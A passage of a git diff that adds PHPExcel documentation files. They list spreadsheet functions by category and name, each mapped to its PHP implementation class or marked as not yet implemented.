PHPExcel_Calculation_Statistical::MINIF + MODE PHPExcel_Calculation_Statistical::MODE + NEGBINOMDIST PHPExcel_Calculation_Statistical::NEGBINOMDIST + NORMDIST PHPExcel_Calculation_Statistical::NORMDIST + NORMINV PHPExcel_Calculation_Statistical::NORMINV + NORMSDIST PHPExcel_Calculation_Statistical::NORMSDIST + NORMSINV PHPExcel_Calculation_Statistical::NORMSINV + PEARSON PHPExcel_Calculation_Statistical::CORREL + PERCENTILE PHPExcel_Calculation_Statistical::PERCENTILE + PERCENTRANK PHPExcel_Calculation_Statistical::PERCENTRANK + PERMUT PHPExcel_Calculation_Statistical::PERMUT + POISSON PHPExcel_Calculation_Statistical::POISSON + PROB *** Not yet Implemented + QUARTILE PHPExcel_Calculation_Statistical::QUARTILE + RANK PHPExcel_Calculation_Statistical::RANK + RSQ PHPExcel_Calculation_Statistical::RSQ + SKEW PHPExcel_Calculation_Statistical::SKEW + SLOPE PHPExcel_Calculation_Statistical::SLOPE + SMALL PHPExcel_Calculation_Statistical::SMALL + STANDARDIZE PHPExcel_Calculation_Statistical::STANDARDIZE + STDEV PHPExcel_Calculation_Statistical::STDEV + STDEVA PHPExcel_Calculation_Statistical::STDEVA + STDEVP PHPExcel_Calculation_Statistical::STDEVP + STDEVPA PHPExcel_Calculation_Statistical::STDEVPA + STEYX PHPExcel_Calculation_Statistical::STEYX + TDIST PHPExcel_Calculation_Statistical::TDIST + TINV PHPExcel_Calculation_Statistical::TINV + TREND PHPExcel_Calculation_Statistical::TREND + TRIMMEAN PHPExcel_Calculation_Statistical::TRIMMEAN + TTEST *** Not yet Implemented + VAR PHPExcel_Calculation_Statistical::VARFunc + VARA PHPExcel_Calculation_Statistical::VARA + VARP PHPExcel_Calculation_Statistical::VARP + VARPA PHPExcel_Calculation_Statistical::VARPA + WEIBULL PHPExcel_Calculation_Statistical::WEIBULL + ZTEST PHPExcel_Calculation_Statistical::ZTEST + +CATEGORY_TEXT_AND_DATA + ASC *** Not yet Implemented + BAHTTEXT *** Not yet Implemented + CHAR PHPExcel_Calculation_TextData::CHARACTER + CLEAN PHPExcel_Calculation_TextData::TRIMNONPRINTABLE + CODE PHPExcel_Calculation_TextData::ASCIICODE + CONCATENATE PHPExcel_Calculation_TextData::CONCATENATE + DOLLAR PHPExcel_Calculation_TextData::DOLLAR + EXACT *** Not yet Implemented + FIND PHPExcel_Calculation_TextData::SEARCHSENSITIVE + FINDB PHPExcel_Calculation_TextData::SEARCHSENSITIVE + FIXED PHPExcel_Calculation_TextData::FIXEDFORMAT + JIS *** Not yet Implemented + LEFT PHPExcel_Calculation_TextData::LEFT + LEFTB PHPExcel_Calculation_TextData::LEFT + LEN PHPExcel_Calculation_TextData::STRINGLENGTH + LENB PHPExcel_Calculation_TextData::STRINGLENGTH + LOWER PHPExcel_Calculation_TextData::LOWERCASE + MID PHPExcel_Calculation_TextData::MID + MIDB PHPExcel_Calculation_TextData::MID + PHONETIC *** Not yet Implemented + PROPER PHPExcel_Calculation_TextData::PROPERCASE + REPLACE PHPExcel_Calculation_TextData::REPLACE + REPLACEB PHPExcel_Calculation_TextData::REPLACE + REPT str_repeat + RIGHT PHPExcel_Calculation_TextData::RIGHT + RIGHTB PHPExcel_Calculation_TextData::RIGHT + SEARCH PHPExcel_Calculation_TextData::SEARCHINSENSITIVE + SEARCHB PHPExcel_Calculation_TextData::SEARCHINSENSITIVE + SUBSTITUTE PHPExcel_Calculation_TextData::SUBSTITUTE + T PHPExcel_Calculation_TextData::RETURNSTRING + TEXT PHPExcel_Calculation_TextData::TEXTFORMAT + TRIM PHPExcel_Calculation_TextData::TRIMSPACES + UPPER PHPExcel_Calculation_TextData::UPPERCASE + VALUE PHPExcel_Calculation_TextData::VALUE diff --git a/vendor/phpoffice/phpexcel/Documentation/FunctionListByName.txt b/vendor/phpoffice/phpexcel/Documentation/FunctionListByName.txt new file mode 100644 index 00000000..45a9daf7 --- /dev/null +++ b/vendor/phpoffice/phpexcel/Documentation/FunctionListByName.txt @@ -0,0 +1,381 @@ +ABS CATEGORY_MATH_AND_TRIG abs +ACCRINT CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::ACCRINT +ACCRINTM CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::ACCRINTM +ACOS CATEGORY_MATH_AND_TRIG acos +ACOSH CATEGORY_MATH_AND_TRIG acosh +ADDRESS CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::CELL_ADDRESS +AMORDEGRC CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::AMORDEGRC +AMORLINC CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::AMORLINC +AND CATEGORY_LOGICAL PHPExcel_Calculation_Logical::LOGICAL_AND +AREAS CATEGORY_LOOKUP_AND_REFERENCE *** Not yet Implemented +ASC CATEGORY_TEXT_AND_DATA *** Not yet Implemented +ASIN CATEGORY_MATH_AND_TRIG asin +ASINH CATEGORY_MATH_AND_TRIG asinh +ATAN CATEGORY_MATH_AND_TRIG atan +ATAN2 CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::REVERSE_ATAN2 +ATANH CATEGORY_MATH_AND_TRIG atanh +AVEDEV CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::AVEDEV +AVERAGE CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::AVERAGE +AVERAGEA CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::AVERAGEA +AVERAGEIF CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::AVERAGEIF +AVERAGEIFS CATEGORY_STATISTICAL *** Not yet Implemented + +BAHTTEXT CATEGORY_TEXT_AND_DATA *** Not yet Implemented +BESSELI CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::BESSELI +BESSELJ CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::BESSELJ +BESSELK CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::BESSELK +BESSELY CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::BESSELY +BETADIST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::BETADIST +BETAINV CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::BETAINV +BIN2DEC CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::BINTODEC +BIN2HEX CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::BINTOHEX +BIN2OCT CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::BINTOOCT +BINOMDIST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::BINOMDIST + +CEILING CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::CEILING +CELL CATEGORY_INFORMATION *** Not yet Implemented +CHAR CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::CHARACTER +CHIDIST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::CHIDIST +CHIINV CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::CHIINV +CHITEST CATEGORY_STATISTICAL *** Not yet Implemented +CHOOSE CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::CHOOSE +CLEAN CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::TRIMNONPRINTABLE +CODE CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::ASCIICODE +COLUMN CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::COLUMN +COLUMNS CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::COLUMNS +COMBIN CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::COMBIN +COMPLEX CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::COMPLEX +CONCATENATE CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::CONCATENATE +CONFIDENCE CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::CONFIDENCE +CONVERT CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::CONVERTUOM +CORREL CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::CORREL +COS CATEGORY_MATH_AND_TRIG cos +COSH CATEGORY_MATH_AND_TRIG cosh +COUNT CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::COUNT +COUNTA CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::COUNTA +COUNTBLANK CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::COUNTBLANK +COUNTIF CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::COUNTIF +COUNTIFS CATEGORY_STATISTICAL *** Not yet Implemented +COUPDAYBS CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::COUPDAYBS +COUPDAYS CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::COUPDAYS +COUPDAYSNC CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::COUPDAYSNC +COUPNCD CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::COUPNCD +COUPNUM CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::COUPNUM +COUPPCD CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::COUPPCD +COVAR CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::COVAR +CRITBINOM CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::CRITBINOM +CUBEKPIMEMBER CATEGORY_CUBE *** Not yet Implemented +CUBEMEMBER CATEGORY_CUBE *** Not yet Implemented +CUBEMEMBERPROPERTY CATEGORY_CUBE *** Not yet Implemented +CUBERANKEDMEMBER CATEGORY_CUBE *** Not yet Implemented +CUBESET CATEGORY_CUBE *** Not yet Implemented +CUBESETCOUNT CATEGORY_CUBE *** Not yet Implemented +CUBEVALUE CATEGORY_CUBE *** Not yet Implemented +CUMIPMT CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::CUMIPMT +CUMPRINC CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::CUMPRINC + +DATE CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::DATE +DATEDIF CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::DATEDIF +DATEVALUE CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::DATEVALUE +DAVERAGE CATEGORY_DATABASE PHPExcel_Calculation_Database::DAVERAGE +DAY CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::DAYOFMONTH +DAYS360 CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::DAYS360 +DB CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::DB +DCOUNT CATEGORY_DATABASE PHPExcel_Calculation_Database::DCOUNT +DCOUNTA CATEGORY_DATABASE PHPExcel_Calculation_Database::DCOUNTA +DDB CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::DDB +DEC2BIN CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::DECTOBIN +DEC2HEX CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::DECTOHEX +DEC2OCT CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::DECTOOCT +DEGREES CATEGORY_MATH_AND_TRIG rad2deg +DELTA CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::DELTA +DEVSQ CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::DEVSQ +DGET CATEGORY_DATABASE PHPExcel_Calculation_Database::DGET +DISC CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::DISC +DMAX CATEGORY_DATABASE PHPExcel_Calculation_Database::DMAX +DMIN CATEGORY_DATABASE PHPExcel_Calculation_Database::DMIN +DOLLAR CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::DOLLAR +DOLLARDE CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::DOLLARDE +DOLLARFR CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::DOLLARFR +DPRODUCT CATEGORY_DATABASE PHPExcel_Calculation_Database::DPRODUCT +DSTDEV CATEGORY_DATABASE PHPExcel_Calculation_Database::DSTDEV +DSTDEVP CATEGORY_DATABASE PHPExcel_Calculation_Database::DSTDEVP +DSUM CATEGORY_DATABASE PHPExcel_Calculation_Database::DSUM +DURATION CATEGORY_FINANCIAL *** Not yet Implemented +DVAR CATEGORY_DATABASE PHPExcel_Calculation_Database::DVAR +DVARP CATEGORY_DATABASE PHPExcel_Calculation_Database::DVARP + +EDATE CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::EDATE +EFFECT CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::EFFECT +EOMONTH CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::EOMONTH +ERF CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::ERF +ERFC CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::ERFC +ERROR.TYPE CATEGORY_INFORMATION PHPExcel_Calculation_Functions::ERROR_TYPE +EVEN CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::EVEN +EXACT CATEGORY_TEXT_AND_DATA *** Not yet Implemented +EXP CATEGORY_MATH_AND_TRIG exp +EXPONDIST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::EXPONDIST + +FACT CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::FACT +FACTDOUBLE CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::FACTDOUBLE +FALSE CATEGORY_LOGICAL PHPExcel_Calculation_Logical::FALSE +FDIST CATEGORY_STATISTICAL *** Not yet Implemented +FIND CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::SEARCHSENSITIVE +FINDB CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::SEARCHSENSITIVE +FINV CATEGORY_STATISTICAL *** Not yet Implemented +FISHER CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::FISHER +FISHERINV CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::FISHERINV +FIXED CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::FIXEDFORMAT +FLOOR CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::FLOOR +FORECAST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::FORECAST +FREQUENCY CATEGORY_STATISTICAL *** Not yet Implemented +FTEST CATEGORY_STATISTICAL *** Not yet Implemented +FV CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::FV +FVSCHEDULE CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::FVSCHEDULE + +GAMMADIST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::GAMMADIST +GAMMAINV CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::GAMMAINV +GAMMALN CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::GAMMALN +GCD CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::GCD +GEOMEAN CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::GEOMEAN +GESTEP CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::GESTEP +GETPIVOTDATA CATEGORY_LOOKUP_AND_REFERENCE *** Not yet Implemented +GROWTH CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::GROWTH + +HARMEAN CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::HARMEAN +HEX2BIN CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::HEXTOBIN +HEX2DEC CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::HEXTODEC +HEX2OCT CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::HEXTOOCT +HLOOKUP CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::HLOOKUP +HOUR CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::HOUROFDAY +HYPERLINK CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::HYPERLINK +HYPGEOMDIST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::HYPGEOMDIST + +IF CATEGORY_LOGICAL PHPExcel_Calculation_Logical::STATEMENT_IF +IFERROR CATEGORY_LOGICAL PHPExcel_Calculation_Logical::IFERROR +IMABS CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMABS +IMAGINARY CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMAGINARY +IMARGUMENT CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMARGUMENT +IMCONJUGATE CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMCONJUGATE +IMCOS CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMCOS +IMDIV CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMDIV +IMEXP CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMEXP +IMLN CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMLN +IMLOG10 CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMLOG10 +IMLOG2 CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMLOG2 +IMPOWER CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMPOWER +IMPRODUCT CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMPRODUCT +IMREAL CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMREAL +IMSIN CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMSIN +IMSQRT CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMSQRT +IMSUB CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMSUB +IMSUM CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::IMSUM +INDEX CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::INDEX +INDIRECT CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::INDIRECT +INFO CATEGORY_INFORMATION *** Not yet Implemented +INT CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::INT +INTERCEPT CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::INTERCEPT +INTRATE CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::INTRATE +IPMT CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::IPMT +IRR CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::IRR +ISBLANK CATEGORY_INFORMATION PHPExcel_Calculation_Functions::IS_BLANK +ISERR CATEGORY_INFORMATION PHPExcel_Calculation_Functions::IS_ERR +ISERROR CATEGORY_INFORMATION PHPExcel_Calculation_Functions::IS_ERROR +ISEVEN CATEGORY_INFORMATION PHPExcel_Calculation_Functions::IS_EVEN +ISLOGICAL CATEGORY_INFORMATION PHPExcel_Calculation_Functions::IS_LOGICAL +ISNA CATEGORY_INFORMATION PHPExcel_Calculation_Functions::IS_NA +ISNONTEXT CATEGORY_INFORMATION PHPExcel_Calculation_Functions::IS_NONTEXT +ISNUMBER CATEGORY_INFORMATION PHPExcel_Calculation_Functions::IS_NUMBER +ISODD CATEGORY_INFORMATION PHPExcel_Calculation_Functions::IS_ODD +ISPMT CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::ISPMT +ISREF CATEGORY_INFORMATION *** Not yet Implemented +ISTEXT CATEGORY_INFORMATION PHPExcel_Calculation_Functions::IS_TEXT + +JIS CATEGORY_TEXT_AND_DATA *** Not yet Implemented + +KURT CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::KURT + +LARGE CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::LARGE +LCM CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::LCM +LEFT CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::LEFT +LEFTB CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::LEFT +LEN CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::STRINGLENGTH +LENB CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::STRINGLENGTH +LINEST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::LINEST +LN CATEGORY_MATH_AND_TRIG log +LOG CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::LOG_BASE +LOG10 CATEGORY_MATH_AND_TRIG log10 +LOGEST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::LOGEST +LOGINV CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::LOGINV +LOGNORMDIST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::LOGNORMDIST +LOOKUP CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::LOOKUP +LOWER CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::LOWERCASE + +MATCH CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::MATCH +MAX CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::MAX +MAXA CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::MAXA +MAXIF CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::MAXIF +MDETERM CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::MDETERM +MDURATION CATEGORY_FINANCIAL *** Not yet Implemented +MEDIAN CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::MEDIAN +MEDIANIF CATEGORY_STATISTICAL *** Not yet Implemented +MID CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::MID +MIDB CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::MID +MIN CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::MIN +MINA CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::MINA +MINIF CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::MINIF +MINUTE CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::MINUTEOFHOUR +MINVERSE CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::MINVERSE +MIRR CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::MIRR +MMULT CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::MMULT +MOD CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::MOD +MODE CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::MODE +MONTH CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::MONTHOFYEAR +MROUND CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::MROUND +MULTINOMIAL CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::MULTINOMIAL + +N CATEGORY_INFORMATION PHPExcel_Calculation_Functions::N +NA CATEGORY_INFORMATION PHPExcel_Calculation_Functions::NA +NEGBINOMDIST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::NEGBINOMDIST +NETWORKDAYS CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::NETWORKDAYS +NOMINAL CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::NOMINAL +NORMDIST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::NORMDIST +NORMINV CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::NORMINV +NORMSDIST CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::NORMSDIST +NORMSINV CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::NORMSINV +NOT CATEGORY_LOGICAL PHPExcel_Calculation_Logical::NOT +NOW CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::DATETIMENOW +NPER CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::NPER +NPV CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::NPV + +OCT2BIN CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::OCTTOBIN +OCT2DEC CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::OCTTODEC +OCT2HEX CATEGORY_ENGINEERING PHPExcel_Calculation_Engineering::OCTTOHEX +ODD CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::ODD +ODDFPRICE CATEGORY_FINANCIAL *** Not yet Implemented +ODDFYIELD CATEGORY_FINANCIAL *** Not yet Implemented +ODDLPRICE CATEGORY_FINANCIAL *** Not yet Implemented +ODDLYIELD CATEGORY_FINANCIAL *** Not yet Implemented +OFFSET CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::OFFSET +OR CATEGORY_LOGICAL PHPExcel_Calculation_Logical::LOGICAL_OR + +PEARSON CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::CORREL +PERCENTILE CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::PERCENTILE +PERCENTRANK CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::PERCENTRANK +PERMUT CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::PERMUT +PHONETIC CATEGORY_TEXT_AND_DATA *** Not yet Implemented +PI CATEGORY_MATH_AND_TRIG pi +PMT CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::PMT +POISSON CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::POISSON +POWER CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::POWER +PPMT CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::PPMT +PRICE CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::PRICE +PRICEDISC CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::PRICEDISC +PRICEMAT CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::PRICEMAT +PROB CATEGORY_STATISTICAL *** Not yet Implemented +PRODUCT CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::PRODUCT +PROPER CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::PROPERCASE +PV CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::PV + +QUARTILE CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::QUARTILE +QUOTIENT CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::QUOTIENT + +RADIANS CATEGORY_MATH_AND_TRIG deg2rad +RAND CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::RAND +RANDBETWEEN CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::RAND +RANK CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::RANK +RATE CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::RATE +RECEIVED CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::RECEIVED +REPLACE CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::REPLACE +REPLACEB CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::REPLACE +REPT CATEGORY_TEXT_AND_DATA str_repeat +RIGHT CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::RIGHT +RIGHTB CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::RIGHT +ROMAN CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::ROMAN +ROUND CATEGORY_MATH_AND_TRIG round +ROUNDDOWN CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::ROUNDDOWN +ROUNDUP CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::ROUNDUP +ROW CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::ROW +ROWS CATEGORY_LOOKUP_AND_REFERENCE PHPExcel_Calculation_LookupRef::ROWS +RSQ CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::RSQ +RTD CATEGORY_LOOKUP_AND_REFERENCE *** Not yet Implemented + +SEARCH CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::SEARCHINSENSITIVE +SEARCHB CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::SEARCHINSENSITIVE +SECOND CATEGORY_DATE_AND_TIME PHPExcel_Calculation_DateTime::SECONDOFMINUTE +SERIESSUM CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::SERIESSUM +SIGN CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::SIGN +SIN CATEGORY_MATH_AND_TRIG sin +SINH CATEGORY_MATH_AND_TRIG sinh +SKEW CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::SKEW +SLN CATEGORY_FINANCIAL PHPExcel_Calculation_Financial::SLN +SLOPE CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::SLOPE +SMALL CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::SMALL +SQRT CATEGORY_MATH_AND_TRIG sqrt +SQRTPI CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::SQRTPI +STANDARDIZE CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::STANDARDIZE +STDEV CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::STDEV +STDEVA CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::STDEVA +STDEVP CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::STDEVP +STDEVPA CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::STDEVPA +STEYX CATEGORY_STATISTICAL PHPExcel_Calculation_Statistical::STEYX +SUBSTITUTE CATEGORY_TEXT_AND_DATA PHPExcel_Calculation_TextData::SUBSTITUTE +SUBTOTAL CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::SUBTOTAL +SUM CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::SUM +SUMIF CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::SUMIF +SUMIFS CATEGORY_MATH_AND_TRIG *** Not yet Implemented +SUMPRODUCT CATEGORY_MATH_AND_TRIG PHPExcel_Calculation_MathTrig::SUMPRODUCT +SUMSQ CATEGORY_MATH_AND_TRIG 